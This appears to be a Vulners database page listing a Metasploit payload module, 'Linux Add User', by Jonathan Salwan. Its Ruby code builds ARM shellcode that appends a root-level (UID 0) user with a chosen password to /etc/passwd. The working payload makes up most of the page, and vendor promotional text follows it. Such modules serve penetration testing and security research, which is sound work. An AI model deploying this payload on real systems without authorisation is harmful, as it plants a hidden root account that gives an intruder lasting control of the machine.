Lucene search
K

Linux Add User

🗓️ 21 Mar 2011 01:26:14Reported by Jonathan SalwanType 
metasploit
 metasploit
🔗 www.rapid7.com👁 36 Views

This module adds a UID 0 user to /etc/passwd on Linux

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

###
#
# AddUser
# -------
#
# Adds a UID 0 user to /etc/passwd.
#
###
module MetasploitModule

  CachedSize = 119

  include Msf::Payload::Single
  include Msf::Payload::Linux::Armle::Prepends

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Linux Add User',
      'Description'   => 'Create a new user with UID 0',
      'Author'        => [ 'Jonathan Salwan' ],
      'License'       => MSF_LICENSE,
      'Platform'      => 'linux',
      'Arch'          => ARCH_ARMLE,
      'Privileged'    => true))

    # Register adduser options
    register_options(
      [
        OptString.new('USER',  [ true,  "The username to create",     "metasploit" ]),
        OptString.new('PASS',  [ true,  "The password for this user", "metasploit" ]),
        OptString.new('SHELL', [ false, "The shell for this user",    "/bin/sh"    ]),
      ])
  end

  #
  # Dynamically builds the adduser payload based on the user's options.
  #
  def generate(opts={})
    user    = datastore['USER']  || 'metasploit'
    pass    = datastore['PASS']  || 'metasploit'
    shell   = datastore['SHELL'] || '/bin/sh'
    str     = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"
    strl1   = [ (str.length)+52 ].pack('C*')
    strl2   = [ str.length ].pack('C*')
    pwdir   = "/etc/passwd"
    payload =
      "\x05\x50\x45\xe0\x01\x50\x8f\xe2\x15\xff\x2f\xe1" +
      "\x78\x46"+ strl1 + "\x30\xff\x21\xff\x31\xff\x31" +
      "\xff\x31\x45\x31\xdc\x22\xc8\x32\x05\x27\x01\xdf" +
      "\x80\x46\x41\x46\x08\x1c\x79\x46\x18\x31\xc0\x46" +
      strl2 + "\x22\x04\x27\x01\xdf\x41\x46\x08\x1c\x06" +
      "\x27\x01\xdf\x1a\x49\x08\x1c\x01\x27\x01\xdf" +
      str + pwdir

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jan 2025 14:31Current
7.3High risk
Vulners AI Score7.3
36